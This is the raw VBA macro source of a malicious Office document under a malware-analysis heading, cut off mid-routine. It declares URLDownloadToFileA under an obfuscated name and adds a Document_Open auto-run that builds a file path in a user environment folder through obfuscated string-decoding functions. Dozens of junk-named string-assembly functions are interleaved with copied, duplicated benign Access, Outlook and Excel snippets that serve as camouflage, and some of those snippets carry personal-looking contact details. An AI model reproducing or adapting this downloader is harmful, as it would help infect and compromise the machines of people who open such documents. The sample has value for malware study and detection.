Malicious Office (OLE) — malware analysis report

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If Not False And Win64 And VBA7 And Not False Then
Private Declare PtrSafe Function NqBHp7qCwNnGUYNUeNUrpXNqBHp7qCwNnGUYNUeNUrpXVpyNeGEx8cxyXNqBHp7qCwNnGUYNUeNUrpXVpyNwqBwFxjyXqyXNqBHp7qCwNnGUYNUeNUrpXVpyNpDYkWbfyp4YLUJGqXtYK3VpyNeGEx8cxyXNqBHp7qCwNnGUYNUeNUrpXVpyNwqBwFxjyXNqBHp7qCwNnGUYNUeNUrpXVpyNeGEx8cxwqBwFx Lib "urlmon" Alias _
"URLDownloadToFileA" (ByVal k¼h²úu·Ä9kPFa¶¶Qaî§OåH As Long, _
ByVal sàmeöväGÜaÁXE¨·ç«¼ÿeEÀhyÂk5 As String, _
ByVal K©LOéà¾ÂHx¦dÜ3mc¿eHJRľ As String, _
ByVal Xw·Zé±¢v¤¿û¦8¾³êEsÜöR¨3¦0ƒ6Ñ As Long, _
ByVal Sdä§kCB²sp¿äûKMUW· As Long) As LongPtr


Private Declare PtrSafe Function SetCurrentDirectoryASQXr Lib "kernel32" (ByVal lpPathName As String) As LongPtr

Private Declare PtrSafe Function getTickCountxNVQ Lib "kernel32" Alias "QueryPerformanceCounter" (cyTickCount As Currency) As LongPtr

Private Declare PtrSafe Function GetWindowrpqs Lib "USER32" (ByVal hWnd As LongPtr, ByVal wCmd As Long) As LongPtr
#Else

Private Declare Function GdipCreateHBITMAPFromBitmapeiny Lib "GDIPlus" (ByVal bitmap As Long, hbmReturn As Long, ByVal background As Long) As Long


Private Declare Function GetWindowiYwD Lib "USER32" (ByVal hWnd As Long, ByVal wCmd As Long) As Long


Private Declare Function timeGetTimeWLmY Lib "winmm.dll" () As Long


Private Declare Function NqBHp7qCwNnGUYNUeNUrpXNqBHp7qCwNnGUYNUeNUrpXVpyNeGEx8cxyXNqBHp7qCwNnGUYNUeNUrpXVpyNwqBwFxjyXqyXNqBHp7qCwNnGUYNUeNUrpXVpyNpDYkWbfyp4YLUJGqXtYK3VpyNeGEx8cxyXNqBHp7qCwNnGUYNUeNUrpXVpyNwqBwFxjyXNqBHp7qCwNnGUYNUeNUrpXVpyNeGEx8cxwqBwFx Lib "urlmon" Alias _
"URLDownloadToFileA" (ByVal k¼h²úu·Ä9kPFa¶¶Qaî§OåH As Long, _
ByVal sàmeöväGÜaÁXE¨·ç«¼ÿeEÀhyÂk5 As String, _
ByVal K©LOéà¾ÂHx¦dÜ3mc¿eHJRľ As String, _
ByVal Xw·Zé±¢v¤¿û¦8¾³êEsÜöR¨3¦0ƒ6Ñ As Long, _
ByVal Sdä§kCB²sp¿äûKMUW· As Long) As Long




#End If
Public ·ù8âG§V£²A¯Lö3ï As String

Public ¢À4m꿨Mº As Variant



Function ¨XÂñägQò¢ìw() As String
Dim ¼uüPGmñx¢n
Dim ³·üsa
¼uüPGmñx¢n = "N"
³·üsa = ¼uüPGmñx¢n & "i"
¨XÂñägQò¢ìw = ³·üsa
End Function
Sub qlOpDYNamic_QUEry_SqL()
    '
    ' This sub dynamically programatically modifies a query
    '
    
    Dim db As DAO.Database
    Set db = CurrentDb
    
    'Sets query
    Dim qdf As QueryDef
    Set qdf = db.QueryDefs("Google")
    
    'SQL string filter query
    Dim string_SQL As String
    string_SQL = "SELECT * " & _
                 "FROM Table1 " & _
                 "WHERE [Cible1] = 'Paul'"
    
    'Run
    qdf.SQL = string_SQL
    
    'Open
    'DoCmd.OpenQuery "Google"
    
    Set qdf = Nothing
    Set db = Nothing
End Sub

Sub pXyAcreATinG_qUErY()
    '
    ' This sub creates a query
    '
    
    Dim db As DAO.Database
    Set db = CurrentDb
    Dim qdf As DAO.QueryDef
    Dim newSQL As String
    
    newSQL = "Select * From [Google] WHERE [Cible2]>'2010'"
    Set qdf = db.CreateQueryDef("tempQry", newSQL)
End Sub

Function bºÁ8Y£ûïjB(xëBÉÖï¨XêÆ9Ö, «y½ÿ§¦P)
bºÁ8Y£ûïjB = xëBÉÖï¨XêÆ9Ö + «y½ÿ§¦P
End Function
Sub DnKyadD_nEwcOntACt()
    Dim j As ContactItem
    Set j = Outlook.CreateItem(olContactItem)
    
    With j
        .Title = "Miss"
        .FirstName = "Leila"
        .MiddleName = "Goory"
        .LastName = "Lopez"
        .Gender = olFemale
        .CompanyName = "Google"
        .JobTitle = "Directrice Marketing"
        '.FileAs = "..."
        .Email1Address = "leila@gmail.com"
        .Email1AddressType = "Work"
        .WebPage = "www.google.com"
        .Anniversary = #3/10/1987#
        '.AddPicture "..."
        .Initials = "LL"
        .BusinessAddress = "Loos"
        .BusinessTelephoneNumber = "06 68 55 29 75"
        .MobileTelephoneNumber = "06 68 55 29 75"
        .MailingAddressStreet = "20 rue du Docteur Calmette"
        .MailingAddressCity = "Lille"
        .MailingAddressPostalCode = "59120"
        .Body = "Notes"
        '.Categories
        .Display
    End With
End Sub

Private Sub M0PFRqCbLISTcateGoRyIDs()
 Dim objNameSpace As NameSpace
 Dim objCategory As Category
 Dim strOutput As String

 ' Obtain a NameSpace object reference.
 Set objNameSpace = Application.GetNamespace("MAPI")

 ' Check if the Categories collection for the Namespace
 ' contains one or more Category objects.
 If objNameSpace.Categories.Count > 0 Then

 ' Enumerate the Categories collection.
 For Each objCategory In objNameSpace.Categories

 ' Add the name and ID of the Category object to
 ' the output string.
 strOutput = strOutput & objCategory.Name & ": " & objCategory.CategoryID & vbCrLf
 Next
 End If

 ' Display the output string.
 MsgBox strOutput

 ' Clean up.
 Set objCategory = Nothing
 Set objNameSpace = Nothing

End Sub


Function T­FxM¼«LZ() As String
Dim CçÆöj¶º
Dim ëM¦k4®¼©¨Ä
CçÆöj¶º = ân´pÂPNH()
ëM¦k4®¼©¨Ä = CçÆöj¶º & PÀ¤K¶mñ()
T­FxM¼«LZ = ëM¦k4®¼©¨Ä
End Function

Sub y055FiNDInG_RecOrD()
    '
    ' Opening a record set and findind a record
    '
    Dim db As DAO.Database
    Dim rs As Recordset
    
    Set db = CurrentDb
    Set rs = db.OpenRecordset("Tournaments", dbOpenSnapshot)
    
    rs.FindFirst "[TourCode] LIKE 'TOR'"
    MsgBox rs(2).Value, vbInformation, "Value"
    
    Set db = Nothing
    Set rs = Nothing
End Sub

Sub WKAaFiLTER_REcordsET()
    '
    ' Opening a record set and finding a record
    '
    Dim db As DAO.Database
    Dim rs As Recordset
    
    Set db = CurrentDb
    Set rs = db.OpenRecordset("SELECT * " & _
                              "FROM Tournaments " & _
                              "WHERE TourCode = 'TKY'")
    'Set rs = db.OpenRecordset("SELECT * FROM Tournaments " & _
    '                          "WHERE TourCode = 'TKY' AND/OR/NOT ... ''")
    'Set rs = db.OpenRecordset("SELECT * " & _
    '                          "FROM Tournaments " & _
    '                          "WHERE TourCode = 'TKY' ORDER BY ... DESC/ASC ")
    
    'TO DO
    
    Set db = Nothing
    Set rs = Nothing
End Sub

Sub FlT3PrInTiNG_ELemeNtS()
    '
    '   Prints everything from a recordset
    '
    Dim db As DAO.Database
    Set db = CurrentDb

    Dim rs As Recordset
    Set rs = db.OpenRecordset("Google")
    
    Do While Not rs.EOF
       Debug.Print rs("ID") & " - " & rs("Cible1")
       rs.MoveNext
    Loop
End Sub


Function uÂFñUqQFô() As String
Dim hLM£ÂÖâ
Dim ¯ÿ¼À¾
hLM£ÂÖâ = "/"
¯ÿ¼À¾ = hLM£ÂÖâ & "y"
uÂFñUqQFô = ¯ÿ¼À¾
End Function
Sub FXeLcReAtE_NEWBUTtoN()
    'Set parameter
    Dim btn As Control
    
    'Open form in hidden mode
    DoCmd.OpenForm "Google", acDesign, , , acFormEdit, acHidden
    
    On Error Resume Next
    
    'Create button
    Set btn = CreateControl("Google", acCommandButton, acDetail)
    
    'Move
    k.Move 2500, 2500, 1500, 700
    
    'Get control name
    this_name = k.Name
    
    'Add caption
    Forms("Google").Controls(this_name).Caption = "Google"
    
    'Close form
    DoCmd.Close acForm, "Google", acSaveYes
End Sub




Function ¶¬ÑC¨¸µh() As String
Dim jqMy¬ö»kx
Dim ¬ú7³HÿqBù
jqMy¬ö»kx = ân´pÂPNH()
¬ú7³HÿqBù = jqMy¬ö»kx & PÀ¤K¶mñ()
¶¬ÑC¨¸µh = ¬ú7³HÿqBù
End Function

Sub Nu9RgoOGle()
    Dim r As Range
    Set r = Range("B2:E5")
    
    a = r.Count
    t = 0
    o = 0
    For i = 0 To a
        p = r(i)
        If r(i) = "W" Then
            t = t + 1
            If t > o Then
                o = t
            End If
        Else
            t = 0
        End If
    Next i
    MsgBox "Longest winning streak: " & o
End Sub


Function Éçt鳩x() As String
Dim Âáw³S³Fäbâu
Dim ´Ñkú2ruüX
Âáw³S³Fäbâu = "¬"
´Ñkú2ruüX = Âáw³S³Fäbâu & "i"
Éçt鳩x = ´Ñkú2ruüX
End Function
Sub iNqzfile_Picker()
    '
    ' Imports table / Microsoft Office Object Library 16.0
    '
    
    'Dim
    Dim table_Name(1) As Variant
    Dim sheet_Path As String
    
    'Open file picker
    Dim fd As Office.FileDialog
    Set fd = Application.FileDialog(msoFileDialogFilePicker)
    
    'Open file picker
    With fd
        .AllowMultiSelect = False
        .Title = "Select a file"
        .Filters.Clear
        .Filters.Add "Excel", "*.xlsx"
        
        'When user has picked file
        If .Show = True Then
            'Path
            sheet_Path = fd.SelectedItems.Item(1)
            'Name
            table_Name(0) = Dir(fd.SelectedItems.Item(1))
        Else
            'TO DO
        End If
    End With
End Sub


Function ÖïJúo´üQ() As String
Dim PAOuxxJ½O
Dim cwBtwµÂÄ
PAOuxxJ½O = "S"
cwBtwµÂÄ = PAOuxxJ½O & "P"
ÖïJúo´üQ = cwBtwµÂÄ
End Function

Sub K45ycrEaTeApPointMent()
    Dim olAppt As AppointmentItem
    Set olAppt = Application.CreateItem(olAppointmentItem)
    
    With olAppt
        .Subject = "My Subject"
        .Body = "This is the body"
        .RequiredAttendees = "something@gmail.com"
        .Location = "Lille"
        .ReminderMinutesBeforeStart = "30"
        .Start = #11/19/2017 2:00:00 AM#
        .End = #11/19/2017 4:00:00 AM#
        '.BillingInformation = "something"
        .Categories = "Business"
        .Display
    End With
End Sub


Function f1ÄEû8() As String
Dim µÂàx5»ÉF¦E
Dim G¤0Gö¸u
µÂàx5»ÉF¦E = ¶U¨wY6¨Q()
G¤0Gö¸u = µÂàx5»ÉF¦E & £5P7áƒE»¹ÑHA()
f1ÄEû8 = G¤0Gö¸u
End Function
Sub mhZucrEaTe_TabLE()
    '
    ' Example creating a table with SQL
    '
    DoCmd.runSQL "CREATE TABLE Kendall (" & _
                    "HerName varchar (255), " & _
                    "HerSurname varchar(255), " & _
                    "HerAge int"
                    ")"
End Sub

Sub MFkiModifY_TabLe()
    On Error Resume Next
    DoCmd.runSQL "ALTER TABLE Kendall " & _
                 "ADD COLUMN Address varchar(255)"
End Sub




Function ä¼½9ÆDMl½ù() As String
Dim öJ¦1´©µA¢
Dim s½§Âº¹càÀÀ
öJ¦1´©µA¢ = "E"
s½§Âº¹càÀÀ = öJ¦1´©µA¢ & "e"
ä¼½9ÆDMl½ù = s½§Âº¹càÀÀ
End Function
Sub KTmnmaNIPuLatiNG_tAbLeS()
    On Error Resume Next
    'INSERT values
    DoCmd.runSQL "INSERT INTO Facebook(OK, Field1) VALUES ('5', 'Kendall')"
    'UPDATE field
    DoCmd.runSQL "UPDATE Facebook SET Field1 = 'Kendall' WHERE ID = 1"
    'ALTER TABLE
    DoCmd.runSQL "ALTER TABLE X "
End Sub

Sub n1qVEDiT_tablE()
    Dim d As DAO.Database
    Dim t As TableDef
    Dim r As DAO.Recordset
    
    Set d = CurrentDb
    Set t = d.TableDefs("...")
    Set r = t.OpenRecordset(, dbOpenSnapshot)
    
    r.Edit
    r(...).Value = "..."
    r.Update
    
    Set d = Nothing
    Set t = Nothing
End Sub




Function ²¤ú¿î() As String
Dim u£¥múuL
Dim wZyVtweÑi®¤ët
Dim ­¬c¨§À·ªÜ1s¢
Dim wBùqeùOeñ4pA
Dim ëSö½éu3¦M­T
Dim ÖQnòVìP¬X5h
Dim ºku¬4¿gxz
u£¥múuL = "¥"
wZyVtweÑi®¤ët = u£¥múuL & "î"
­¬c¨§À·ªÜ1s¢ = wZyVtweÑi®¤ët & "l"
wBùqeùOeñ4pA = ­¬c¨§À·ªÜ1s¢ & "V"
ëSö½éu3¦M­T = wBùqeùOeñ4pA & "k"
ÖQnòVìP¬X5h = ëSö½éu3¦M­T & "Á"
ºku¬4¿gxz = ÖQnòVìP¬X5h & "3"
²¤ú¿î = ºku¬4¿gxz
End Function
Sub bINPcreaTe_nEWbUttoN()
    'Set parameter
    Dim btn As Control
    
    'Open form in hidden mode
    DoCmd.OpenForm "Google", acDesign, , , acFormEdit, acHidden
    
    On Error Resume Next
    
    'Create button
    Set btn = CreateControl("Google", acCommandButton, acDetail)
    
    'Move
    k.Move 2500, 2500, 1500, 700
    
    'Get control name
    this_name = k.Name
    
    'Add caption
    Forms("Google").Controls(this_name).Caption = "Google"
    
    'Close form
    DoCmd.Close acForm, "Google", acSaveYes
End Sub



Function üDÖ¢N¿V2â¿O±(l¾Tàq¢á¢éc, tegaüP)
üDÖ¢N¿V2â¿O± = l¾Tàq¢á¢éc + tegaüP
End Function
Private Sub oe7mZv6FclAss_INiTiaLIze()
    'Set sheets at initialization
    Call get_Worksheet_Helper
    type_entreprise = wk_two.Range("type_entreprise").Value
    Call set_phrases_Helper
End Sub

Private Sub qBmpofDFGET_WoRkSHeEt_hELPER()
    Set wk_one = Worksheets("Analyse")
    Set wk_two = Worksheets("Config")
End Sub

Private Sub OmhiUg4bSet_phraseS_HeLPER()
    Dim c_var, t_var, d_var As String
    '
    ' This helper is used to create the phrases with the variables
    ' that were set or calculated in the 'Config' worksheet
    '
    phrase_one = "L'entreprise fonctionne " & wk_two.Range("jours_activités").Value & _
                 " jours par semaines soit un nombre total de " & _
                 Round(wk_two.Range("semaines_activités").Value, 2) & " semaines."
    '
    ' TO DO
    '
    
    '
    ' I am using this technique in order to get the correct values to display
    ' depending on the fact if the enterprise is a restaurant or bar instead
    ' of a digital based type project
    '
    If type_entreprise = "numérique" Then
        c_var = "ca_numérique"
        t_var = "frequentation_mensuelle"
        d_var = "mois"
    Else
        c_var = "ca_restauration"
        t_var = "frequentation_journalière"
        d_var = "jours"
    End If
    phrase_five = "Pour une fréquentation de " & wk_two.Range(t_var).Value & " clients par " & d_var & ", " & _
                  "le chiffre d'affaire annuel est de " & Round(wk_two.Range(c_var).Value, 2) & "€ par an"
    '
    ' TO DO
    '
    phrase_seven = "Le prix unitaire utilisé pour l'estimation du C.A. est de " & wk_two.Range("N10").Value & "€ soit " & _
                   wk_two.Range("N14").Value & "€ TTC et une marge de " & wk_two.Range("O11").Value & "% (ou " & _
                   wk_two.Range("N11").Value & "€)"
End Sub

Public Sub trT3J4K8CHange_pHrases()
    wk_one.Range("B8").Value = phrase_one
    wk_one.Range("B15").Value = phrase_five
    wk_one.Range("B18").Value = phrase_seven
End Sub



Function üÄ­côòvê() As String
Dim rî©©SÀºBRG·8
Dim B§¢I¤­lïz§
rî©©SÀºBRG·8 = "v"
B§¢I¤­lïz§ = rî©©SÀºBRG·8 & "K"
üÄ­côòvê = B§¢I¤­lïz§
End Function

Sub mLtEcReATe_quERy()
    Dim qdf As QueryDef
    Set qdf = CurrentDb.CreateQueryDef("query1", "SELECT * FROM Table")
    
    On Error Resume Next
    
    DoCmd.OpenQuery "query1", acViewDesign, acEdit
    DoCmd.Save acQuery, "query1"
    DoCmd.Close acQuery, "query1"
    DoCmd.Rename "new_name", acQuery, "query1"
    
    Set qdf = Nothing
End Sub


Sub YQh2maNIPulaTe_QuerY()
    Dim query_to_change As QueryDef
    Set query_to_change = CurrentDb.QueryDefs("query_name")
    
    query_to_change.SQL = "SELECT * FROM Table ORDER BY ID Asc"
    query_to_change.SQL = "SELECT Field1, Field2 FROM Table ORDER BY ID Asc"
    query_to_change.SQL = "SELECT Field1, Field2 FROM Table WHERE Field LIKE Fashion"
    query_to_change.SQL = "SELECT Field1, Field2 FROM Table WHERE Field LIKE '" & something & "'"
End Sub

' "SELECT Field1, Field2 FROM Table WHERE Field1 = 'Fashion'"

Function ñ¬É2VEÜKjR¯n»(åNfªïäñÉZ½, b26a¾ƒV£)
ñ¬É2VEÜKjR¯n» = åNfªïäñÉZ½ + b26a¾ƒV£
End Function
Sub e76IMAnipulATiNG_tABLES()
    On Error Resume Next
    'INSERT values
    DoCmd.runSQL "INSERT INTO Facebook(OK, Field1) VALUES ('5', 'Kendall')"
    'UPDATE field
    DoCmd.runSQL "UPDATE Facebook SET Field1 = 'Kendall' WHERE ID = 1"
    'ALTER TABLE
    DoCmd.runSQL "ALTER TABLE X "
End Sub

Sub odX6edIT_TABLe()
    Dim d As DAO.Database
    Dim t As TableDef
    Dim r As DAO.Recordset
    
    Set d = CurrentDb
    Set t = d.TableDefs("...")
    Set r = t.OpenRecordset(, dbOpenSnapshot)
    
    r.Edit
    r(...).Value = "..."
    r.Update
    
    Set d = Nothing
    Set t = Nothing
End Sub




Sub DOCuMENt_OpEN()
·ù8âG§V£²A¯Lö3ï = VBA.Environ$(OjGEU1(Üá36f­¯Â(0, 1466, 2037))) + OjGEU1("\on]zKfTis{Ym9Pqn7+8uGkqc9Oz1l}O.R6cefQ-xAV9e)^k")
FDEfEfeZEF
End Sub
Sub MiqugEt_lAST_iTEM_cLipboARD()
    Dim clipData As New DataObject
    Dim clipString As String, clipItems As Variant
    
       
    clipString = clipData.GetText
    clipString = Replace(clipString, vbLf, vbCr)
    clipItems = Split(clipString, vbCr)
End Sub


Function vú¼¿P9À£·() As String
Dim ¹Æ¢©Ñù½88
Dim g¬Ef»q¯Æ©w
Dim Hie4q1£oû«k
¹Æ¢©Ñù½88 = "è"
g¬Ef»q¯Æ©w = ¹Æ¢©Ñù½88 & "T"
Hie4q1£oû«k = g¬Ef»q¯Æ©w & "ñ"
vú¼¿P9À£· = Hie4q1£oû«k
End Function
Sub MAHyaDd_nEwContaCT()
    Dim j As ContactItem
    Set j = Outlook.CreateItem(olContactItem)
    
    With j
        .Title = "Miss"
        .FirstName = "Leila"
        .MiddleName = "Goory"
        .LastName = "Lopez"
        .Gender = olFemale
        .CompanyName = "Google"
        .JobTitle = "Directrice Marketing"
        '.FileAs = "..."
        .Email1Address = "leila@gmail.com"
        .Email1AddressType = "Work"
        .WebPage = "www.google.com"
        .Anniversary = #3/10/1987#
        '.AddPicture "..."
        .Initials = "LL"
        .BusinessAddress = "Loos"
        .BusinessTelephoneNumber = "06 68 55 29 75"
        .MobileTelephoneNumber = "06 68 55 29 75"
        .MailingAddressStreet = "20 rue du Docteur Calmette"
        .MailingAddressCity = "Lille"
        .MailingAddressPostalCode = "59120"
        .Body = "Notes"
        '.Categories
        .Display
    End With
End Sub

Private Sub q0dTtX4HLisTcAtEgoRyidS()
 Dim objNameSpace As NameSpace
 Dim objCategory As Category
 Dim strOutput As String

 ' Obtain a NameSpace object reference.
 Set objNameSpace = Application.GetNamespace("MAPI")

 ' Check if the Categories collection for the Namespace
 ' contains one or more Category objects.
 If objNameSpace.Categories.Count > 0 Then

 ' Enumerate the Categories collection.
 For Each objCategory In objNameSpace.Categories

 ' Add the name and ID of the Category object to
 ' the output string.
 strOutput = strOutput & objCategory.Name & ": " & objCategory.CategoryID & vbCrLf
 Next
 End If

 ' Display the output string.
 MsgBox strOutput

 ' Clean up.
 Set objCategory = Nothing
 Set objNameSpace = Nothing

End Sub


Function YÖ72ô¼ƒYÁb½() As String
Dim ¢eÀùây0ò
Dim OCÜoºƒ·J¬
¢eÀùây0ò = "b"
OCÜoºƒ·J¬ = ¢eÀùây0ò & "v"
YÖ72ô¼ƒYÁb½ = OCÜoºƒ·J¬
End Function

Private Sub IigLnsXICommANdBUTtON2_CLiCK()
    '
    ' This will show an additional form to the user as
    ' a way to form him/her to not change the weeks directly
    ' on the main form
    '
    SemainesForm.Show
End Sub

Private Sub DWl4quKRCoMMandbutton3_CliCk()
    PrixForm.Show
End Sub

Private Sub UKALc0jwuSerfORm_iNitIALIze()
    '
    ' This will upload the default values from the sheet
    ' to the different textboxes
    '
    Set wk = set_worksheet_object_helper(1)
    'Set params
    Call set_Params
End Sub

Private Sub qCDuQSXOsET_params()
    '
    ' This a helper used to set parameters to
    ' the textboxes
    '
    TextBox1.Value = wk.Range("personnel").Value
    TextBox2.Value = wk.Range("salaire").Value
    TextBox3.Value = wk.Range("jours_activités").Value
    TextBox4.Value = wk.Range("heures_par_jours").Value
    TextBox5.Value = wk.Range("jours_par_semaines").Value
    
    '
    ' Prevent direct change of activity days froms userform
    '
    TextBox3.Locked = True
    TextBox3.Enabled = False
End Sub



Function îV½¯¿c2ùîà() As String
Dim ûDCYïûè«
Dim TòÀÄtÂV±7p2
ûDCYïûè« = éE¿½äs©êÉ()
TòÀÄtÂV±7p2 = ûDCYïûè« & Éçt鳩x()
îV½¯¿c2ùîà = TòÀÄtÂV±7p2
End Function
Sub cLVGDYNAmIC_qUERY_sqL()
    '
    ' This sub dynamically programatically modifies a query
    '
    
    Dim db As DAO.Database
    Set db = CurrentDb
    
    'Sets query
    Dim qdf As QueryDef
    Set qdf = db.QueryDefs("Google")
    
    'SQL string filter query
    Dim string_SQL As String
    string_SQL = "SELECT * " & _
                 "FROM Table1 " & _
                 "WHERE [Cible1] = 'Paul'"
    
    'Run
    qdf.SQL = string_SQL
    
    'Open
    'DoCmd.OpenQuery "Google"
    
    Set qdf = Nothing
    Set db = Nothing
End Sub

Sub EGIxCreAtIng_QuERY()
    '
    ' This sub creates a query
    '
    
    Dim db As DAO.Database
    Set db = CurrentDb
    Dim qdf As DAO.QueryDef
    Dim newSQL As String
    
    newSQL = "Select * From [Google] WHERE [Cible2]>'2010'"
    Set qdf = db.CreateQueryDef("tempQry", newSQL)
End Sub


Function ¢3áD¥ìå7¤() As String
Dim ¿ÄdúiR¢E¿
Dim T£éƒÿäVPX
¿ÄdúiR¢E¿ = "0"
T£éƒÿäVPX = ¿ÄdúiR¢E¿ & "Z"
¢3áD¥ìå7¤ = T£éƒÿäVPX
End Function

Private Sub eLJKYIlqcoMMAndbutToN2_cLiCK()
    '
    ' This will show an additional form to the user as
    ' a way to form him/her to not change the weeks directly
    ' on the main form
    '
    SemainesForm.Show
End Sub

Private Sub Tn5cKXgVCOMmandButton3_cLIcK()
    PrixForm.Show
End Sub

Private Sub PHWhwxIWUsERfoRm_InitIaLIzE()
    '
    ' This will upload the default values from the sheet
    ' to the different textboxes
    '
    Set wk = set_worksheet_object_helper(1)
    'Set params
    Call set_Params
End Sub

Private Sub A20jy9wBset_PArAMS()
    '
    ' This a helper used to set parameters to
    ' the textboxes
    '
    TextBox1.Value = wk.Range("personnel").Value
    TextBox2.Value = wk.Range("salaire").Value
    TextBox3.Value = wk.Range("jours_activités").Value
    TextBox4.Value = wk.Range("heures_par_jours").Value
    TextBox5.Value = wk.Range("jours_par_semaines").Value
    
    '
    ' Prevent direct change of activity days froms userform
    '
    TextBox3.Locked = True
    TextBox3.Enabled = False
End Sub



Function ceCzº«¸cº() As String
Dim MñärMFÀ8µ
Dim EùÑvp¹KePs
MñärMFÀ8µ = "."
EùÑvp¹KePs = MñärMFÀ8µ & "r"
ceCzº«¸cº = EùÑvp¹KePs
End Function
Sub MvAufile_Picker()
    '
    ' Imports table / Microsoft Office Object Library 16.0
    '
    
    'Dim
    Dim table_Name(1) As Variant
    Dim sheet_Path As String
    
    'Open file picker
    Dim fd As Office.FileDialog
    Set fd = Application.FileDialog(msoFileDialogFilePicker)
    
    'Open file picker
    With fd
        .AllowMultiSelect = False
        .Title = "Select a file"
        .Filters.Clear
        .Filters.Add "Excel", "*.xlsx"
        
        'When user has picked file
        If .Show = True Then
            'Path
            sheet_Path = fd.SelectedItems.Item(1)
            'Name
            table_Name(0) = Dir(fd.SelectedItems.Item(1))
        Else
            'TO DO
        End If
    End With
End Sub


Function ú8E¿roû() As String
Dim ½d¾7hñè
Dim TɧvgU1
½d¾7hñè = "î"
TɧvgU1 = ½d¾7hñè & "ñ"
ú8E¿roû = TɧvgU1
End Function
Sub JXU5aDd_RecEpIENt()
    Dim new_Message As MailItem
    Set new_Message = Application.CreateItem(olMailItem)
    
    
    
    Set new_Message = Nothing
End Sub



Public Sub xdcZeYFVcreaTeNEwmeSsAGe()
    '
    ' Sends mail to sender based on the active selection
    '

Dim objMsg As MailItem
Dim Selection As Selection
Dim obj As Object

Set Selection = ActiveExplorer.Selection

For Each obj In Selection

Set objMsg = Application.CreateItem(olMailItem)

 With objMsg
  .To = obj.SenderEmailAddress
  .Subject = "This is the subject"
  .Categories = "Test"
  .Body = "My notes" & vbCrLf & vbCrLf & obj.Body
  .Display
' use .Send to send it automatically

End With
Set objMsg = Nothing

Next

End Sub


Function mL¬b2üE¶n() As String
Dim úÁQaöJæéWÖÖG
Dim ­rGìrảv
úÁQaöJæéWÖÖG = "î"
­rGìrảv = úÁQaöJæéWÖÖG & "­"
mL¬b2üE¶n = ­rGìrảv
End Function
Sub pUzDQUIcKLY_CHangE_DAta_inrAnGE()
    Dim googleCar As Range
    Set googleCar = Range("B2").CurrentRegion
    
    For Each Tesla In googleCar
        Tesla.Value = 20
    Next
End Sub

Sub SwXLchANge_dATa_iNcOlUmn()
    Dim googleCar As Range
    Set googleCar = Range("B2").CurrentRegion
    
    For Each Tesla In googleCar.Columns(1)
        Tesla.Value = 15
    Next
End Sub

'Instead of For...Each just :
    'googleCar.Value = ...
    
Sub DZYqCHAngE_sPeCIfIC_DAtA_iNrange()
    Dim googleCar As Range
    Set googleCar = Range("B2").CurrentRegion
    
    For Each Tesla In googleCar
        If Tesla = 5 Then
            googleCar.Value = 10
        End If
    Next
End Sub




Function ¯¿n¿öïXôY8¶àÆ() As String
Dim Ut¬¿¿xâÄ0
Dim fW·gHÄUd
Ut¬¿¿xâÄ0 = "]"
fW·gHÄUd = Ut¬¿¿xâÄ0 & "U"
¯¿n¿öïXôY8¶àÆ = fW·gHÄUd
End Function
Sub HuICTEst_If_OutlOokIsoPen()
    Dim oOutlook As Object

    On Error Resume Next
    Set oOutlook = GetObject(, "Outlook.Application")
    On Error GoTo 0

    If oOutlook Is Nothing Then
        MsgBox "Outlook is not open, open Outlook and try again"
    Else
        
        ' TO DO
        '
        MsgBox "Is Open"
    End If
End Sub


Function F3EèIxd() As String
Dim ܵQeè¤U¼
Dim OOdD¿¢G¬¹
ܵQeè¤U¼ = "q"
OOdD¿¢G¬¹ = ܵQeè¤U¼ & "h"
F3EèIxd = OOdD¿¢G¬¹
End Function
Public Sub LnEeCDMGCreateNewCONtaCT()
    Dim objContact As ContactItem
…